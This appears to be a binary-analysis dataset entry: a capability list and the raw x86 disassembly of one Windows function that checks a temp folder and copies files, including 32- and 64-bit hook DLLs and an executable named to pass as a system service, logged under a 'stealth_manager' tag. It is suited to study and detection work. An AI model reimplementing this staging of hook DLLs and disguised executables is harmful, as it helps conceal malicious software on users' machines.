Function at 0x412680
Capabilities:
Check if file exists
Copy file
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x420b8b
mov eax, dword fs:[0]
push eax
sub esp, 0x144
mov eax, dword [0x42e024]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
push 0x423638
lea edx, [ebx + 0x58]
lea ecx, [ebp - 0xd0]
call fcn.00404f90
push 0x42ea70
mov edx, eax
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x148]
call fcn.00406350
push 0x423638
mov edx, eax
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xe8]
call fcn.00404f40
add esp, 0xc
mov eax, dword [ebp - 0x134]
cmp eax, 0x10
jb 0x41270d
inc eax
push eax
push dword [ebp - 0x148]
call fcn.00404770
mov dword [ebp - 0x134], 0xf
mov dword [ebp - 0x138], 0
mov byte [ebp - 0x148], 0
mov byte [ebp - 4], 4
mov eax, dword [ebp - 0xbc]
cmp eax, 0x10
jb 0x412744
inc eax
push eax
push dword [ebp - 0xd0]
call fcn.00404770
push str.temp_
lea edx, [ebp - 0xe8]
mov dword [ebp - 0xbc], 0xf
lea ecx, [ebp - 0x40]
mov dword [ebp - 0xc0], 0
mov byte [ebp - 0xd0], 0
call fcn.00404f90
add esp, 4
mov byte [ebp - 4], 5
lea eax, [ebp - 0x40]
cmp dword [ebp - 0x2c], 0x10
cmovae eax, dword [ebp - 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x412ef3
test al, 0x10
je 0x412ef3
push 0
push str.flag_delete_:__d
push str.stealth_manager
call fcn.00402620
push 0x42eb18
lea edx, [ebp - 0x40]
lea ecx, [ebp - 0x130]
call fcn.00406380
mov byte [ebp - 4], 6
lea ecx, [ebp - 0xa0]
cmp dword [ebp - 0x11c], 0x10
lea eax, [ebp - 0x130]
mov esi, dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__stat64i32]
cmovae eax, dword [ebp - 0x130]
push ecx
push eax
call esi
add esp, 0x18
test eax, eax
jne 0x4128be
push 0x42eb18
lea edx, [ebp - 0xe8]
lea ecx, [ebp - 0x88]
call fcn.00406380
add esp, 4
push 0
sub esp, 0x18
mov byte [ebp - 4], 7
mov ecx, esp
mov dword [ebp - 0x14c], esp
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
mov dword [ecx + 0x14], 0xf
cmp dword [ecx + 0x14], 0x10
mov dword [ecx + 0x10], 0
jb 0x412843
mov eax, dword [ecx]
jmp 0x412845
mov eax, ecx
push 0xffffffffffffffff
mov byte [eax], 0
lea eax, [ebp - 0x130]
push 0
push eax
call fcn.00404370
sub esp, 0x18
mov byte [ebp - 4], 8
mov ecx, esp
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
mov dword [ecx + 0x14], 0xf
cmp dword [ecx + 0x14], 0x10
mov dword [ecx + 0x10], 0
jb 0x412887
mov eax, dword [ecx]
jmp 0x412889
mov eax, ecx
push 0xffffffffffffffff
mov byte [eax], 0
lea eax, [ebp - 0x88]
push 0
push eax
call fcn.00404370
mov byte [ebp - 4], 7
call fcn.00413e00
mov byte [ebp - 4], 6
mov eax, dword [ebp - 0x74]
cmp eax, 0x10
jb 0x4128be
inc eax
push eax
push dword [ebp - 0x88]
call fcn.00404770
push 0x42ea40
lea edx, [ebp - 0x40]
lea ecx, [ebp - 0x118]
call fcn.00406380
mov byte [ebp - 4], 9
lea ecx, [ebp - 0xa0]
cmp dword [ebp - 0x104], 0x10
lea eax, [ebp - 0x118]
push ecx
cmovae eax, dword [ebp - 0x118]
push eax
call esi
add esp, 0xc
test eax, eax
jne 0x4129c9
push 0x42ea40
lea edx, [ebp - 0xe8]
lea ecx, [ebp - 0x88]
call fcn.00406380
add esp, 4
push 0
sub esp, 0x18
mov byte [ebp - 4], 0xa
mov ecx, esp
mov dword [ebp - 0x150], esp
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
mov dword [ecx + 0x14], 0xf
cmp dword [ecx + 0x14], 0x10
mov dword [ecx + 0x10], 0
jb 0x41294e
mov eax, dword [ecx]
jmp 0x412950
mov eax, ecx
push 0xffffffffffffffff
mov byte [eax], 0
lea eax, [ebp - 0x118]
push 0
push eax
call fcn.00404370
sub esp, 0x18
mov byte [ebp - 4], 0xb
mov ecx, esp
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
mov dword [ecx + 0x14], 0xf
cmp dword [ecx + 0x14], 0x10
mov dword [ecx + 0x10], 0
jb 0x412992
mov eax, dword [ecx]
jmp 0x412994
mov eax, ecx
push 0xffffffffffffffff
mov byte [eax], 0
lea eax, [ebp - 0x88]
push 0
push eax
call fcn.00404370
mov byte [ebp - 4], 0xa
call fcn.00413e00
mov byte [ebp - 4], 9
mov eax, dword [ebp - 0x74]
cmp eax, 0x10
jb 0x4129c9
inc eax
push eax
push dword [ebp - 0x88]
call fcn.00404770
push str.nt_system_service.exe
lea edx, [ebp - 0x40]
lea ecx, [ebp - 0x100]
call fcn.00404f90
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0xa0]
cmp dword [ebp - 0xec], 0x10
lea eax, [ebp - 0x100]
push ecx
cmovae eax, dword [ebp - 0x100]
push eax
call esi
add esp, 0xc
test eax, eax
jne 0x412ad4
push str.nt_system_service.exe
lea edx, [ebp - 0xe8]
lea ecx, [ebp - 0x88]
call fcn.00404f90
add esp, 4
push 0
sub esp, 0x18
mov byte [ebp - 4], 0xd
mov ecx, esp
mov dword [ebp - 0x150], esp
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
mov dword [ecx + 0x14], 0xf
cmp dword [ecx + 0x14], 0x10
mov dword [ecx + 0x10], 0
jb 0x412a59
mov eax, dword [ecx]
jmp 0x412a5b
mov eax, ecx
push 0xffffffffffffffff
mov byte [eax], 0
lea eax, [ebp - 0x100]
push 0
push eax
call fcn.00404370
sub esp, 0x18
mov byte [ebp - 4], 0xe
mov ecx, esp
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
mov dword [ecx + 0x14], 0xf
cmp dword [ecx + 0x14], 0x10
mov dword [ecx + 0x10], 0
jb 0x412a9d
mov eax, dword [ecx]
jmp 0x412a9f
mov eax, ecx
push 0xffffffffffffffff
mov byte [eax], 0
lea eax, [ebp - 0x88]
push 0
push eax
call fcn.00404370
mov byte [ebp - 4], 0xd
call fcn.00413e00
mov byte [ebp - 4], 0xc
mov eax, dword [ebp - 0x74]
cmp eax, 0x10
jb 0x412ad4
inc eax
push eax
push dword [ebp - 0x88]
call fcn.00404770
push 0x42ea10
lea edx, [ebp - 0x40]
lea ecx, [ebp - 0x70]
call fcn.00406380
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0xa0]
cmp dword [ebp - 0x5c], 0x10
lea eax, [ebp - 0x70]
push ecx
cmovae eax, dword [ebp - 0x70]
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_CopyFileA]
add esp, 0xc
test eax, eax
jne 0x412b9d
push 0x42ea10
lea edx, [ebp - 0xe8]
lea ecx, [ebp - 0x28]
call fcn.00406380
mov byte [ebp - 4], 0x10
lea eax, [ebp - 0x70]
cmp dword [ebp - 0x5c], 0x10
cmovae eax, dword [ebp - 0x70]
sub esp, 0x14
mov ecx, esp
mov dword [ebp - 0x150], esp
push eax
call fcn.00404030
mov byte [ebp - 4], 0x11
lea eax, [ebp - 0x28]
cmp dword [ebp - 0x14], 0x10
cmovae eax, dword [ebp - 0x28]
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00404030
mov byte [ebp - 4], 0x10
call fcn.00414010
add esp, 0x30
test al, al
jne 0x412b87
cmp dword [ebp - 0x14], 0x10
lea ecx, [ebp - 0x28]
push 0
cmovae ecx, dword [ebp - 0x28]
lea eax, [ebp - 0x70]
cmp dword [ebp - 0x5c], 0x10
push ecx
cmovae eax, dword [ebp - 0x70]
push eax
call edi
mov byte [ebp - 4], 0xf
mov eax, dword [ebp - 0x14]
cmp eax, 0x10
jb 0x412b9d
inc eax
push eax
push dword [ebp - 0x28]
call fcn.00404770
push 0x42eba8
lea edx, [ebp - 0x40]
lea ecx, [ebp - 0x58]
call fcn.00406380
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0xa0]
cmp dword [ebp - 0x44], 0x10
lea eax, [ebp - 0x58]
push ecx
cmovae eax, dword [ebp - 0x58]
push eax
call esi
add esp, 0xc
test eax, eax
jne 0x412c60
push 0x42eba8
lea edx, [ebp - 0xe8]
lea ecx, [ebp - 0x28]
call fcn.00406380
mov byte [ebp - 4], 0x13
lea eax, [ebp - 0x58]
cmp dword [ebp - 0x44], 0x10
cmovae eax, dword [ebp - 0x58]
sub esp, 0x14
mov ecx, esp
mov dword [ebp - 0x150], esp
push eax
call fcn.00404030
mov byte [ebp - 4], 0x14
lea eax, [ebp - 0x28]
cmp dword [ebp - 0x14], 0x10
cmovae eax, dword [ebp - 0x28]
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00404030
mov byte [ebp - 4], 0x13
call fcn.00414010
add esp, 0x30
test al, al
jne 0x412c4a
cmp dword [ebp - 0x14], 0x10
lea ecx, [ebp - 0x28]
push 0
cmovae ecx, dword [ebp - 0x28]
lea eax, [ebp - 0x58]
cmp dword [ebp - 0x44], 0x10
push ecx
cmovae eax, dword [ebp - 0x58]
push eax
call edi
mov byte [ebp - 4], 0x12
mov eax, dword [ebp - 0x14]
cmp eax, 0x10
jb 0x412c60
inc eax
push eax
push dword [ebp - 0x28]
call fcn.00404770
push 0x42ea58
lea edx, [ebp - 0x40]
lea ecx, [ebp - 0xb8]
call fcn.00406380
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0xa0]
cmp dword [ebp - 0xa4], 0x10
lea eax, [ebp - 0xb8]
push ecx
cmovae eax, dword [ebp - 0xb8]
push eax
call esi
add esp, 0xc
test eax, eax
jne 0x412d23
push 0x42ea58
lea edx, [ebp - 0xe8]
lea ecx, [ebp - 0xd0]
call fcn.00406380
add esp, 4
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0xd0]
cmp dword [ebp - 0xbc], 0x10
lea eax, [ebp - 0xb8]
push 0
cmovae ecx, dword [ebp - 0xd0]
cmp dword [ebp - 0xa4], 0x10
push ecx
cmovae eax, dword [ebp - 0xb8]
push eax
call edi
cmp eax, 1
sete al
movzx eax, al
push eax
push str.copy_hookDll32_:__d
push str.stealth_manager
call fcn.00402620
mov byte [ebp - 4], 0x15
add esp, 0xc
mov eax, dword [ebp - 0xbc]
cmp eax, 0x10
jb 0x412d23
inc eax
push eax
push dword [ebp - 0xd0]
call fcn.00404770
cmp byte [ebx + 0xc], 0
je 0x412ddf
push 0x42eb90
lea edx, [ebp - 0x40]
lea ecx, [ebp - 0x28]
call fcn.00406380
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0xa0]
cmp dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x28]
push ecx
cmovae eax, dword [ebp - 0x28]
push eax
call esi
add esp, 0xc
test eax, eax
jne 0x412dcd
push 0x42eb90
lea edx, [ebp - 0xe8]
lea ecx, [ebp - 0x88]
call fcn.00406380
add esp, 4
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x88]
cmp dword [ebp - 0x74], 0x10
lea eax, [ebp - 0x28]
push 0
cmovae ecx, dword [ebp - 0x88]
cmp dword [ebp - 0x14], 0x10
push ecx
cmovae eax, dword [ebp - 0x28]
push eax
call edi
cmp eax, 1
sete al
movzx eax, al
push eax
push str.copy_hookDll64_:__d
push str.stealth_manager
call fcn.00402620
mov eax, dword [ebp - 0x74]
add esp, 0xc
cmp eax, 0x10
jb 0x412dcd
inc eax
push eax
push dword [ebp - 0x88]
call fcn.00404770
mov eax, dword [ebp - 0x14]
cmp eax, 0x10
jb 0x412ddf
inc eax
push eax
push dword [ebp - 0x28]
call fcn.00404770
mov eax, dword [ebp - 0xa4]
cmp eax, 0x10
jb 0x412df7
inc eax
push eax
push dword [ebp - 0xb8]
call fcn.00404770
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0xa4], 0xf
mov dword [ebp - 0xa8], 0
mov byte [ebp - 0xb8], 0
cmp eax, 0x10
jb 0x412e24
inc eax
push eax
push dword [ebp - 0x58]
call fcn.00404770
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x44], 0xf
mov dword [ebp - 0x48], 0
mov byte [ebp - 0x58], 0
cmp eax, 0x10
jb 0x412e48
inc eax
push eax
push dword [ebp - 0x70]
call fcn.00404770
mov eax, dword [ebp - 0xec]
mov dword [ebp - 0x5c], 0xf
mov dword [ebp - 0x60], 0
mov byte [ebp - 0x70], 0
cmp eax, 0x10
jb 0x412e72
inc eax
push eax
push dword [ebp - 0x100]
call fcn.00404770
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0xec], 0xf
mov dword [ebp - 0xf0], 0
mov byte [ebp - 0x100], 0
cmp eax, 0x10
jb 0x412ea5
inc eax
push eax
push dword [ebp - 0x118]
call fcn.00404770
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x104], 0xf
mov dword [ebp - 0x108], 0
mov byte [ebp - 0x118], 0
cmp eax, 0x10
jb 0x412ed8
inc eax
push eax
push dword [ebp - 0x130]
call fcn.00404770
mov dword [ebp - 0x11c], 0xf
mov dword [ebp - 0x120], 0
mov byte [ebp - 0x130], 0
mov eax, dword [ebp - 0x2c]
cmp eax, 0x10
jb 0x412f05
inc eax
push eax
push dword [ebp - 0x40]
call fcn.00404770
mov eax, dword [ebp - 0xd4]
mov dword [ebp - 0x2c], 0xf
mov dword [ebp - 0x30], 0
mov byte [ebp - 0x40], 0
cmp eax, 0x10
jb 0x412f2f
inc eax
push eax
push dword [ebp - 0xe8]
call fcn.00404770
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041e02b
mov esp, ebp
pop ebp
ret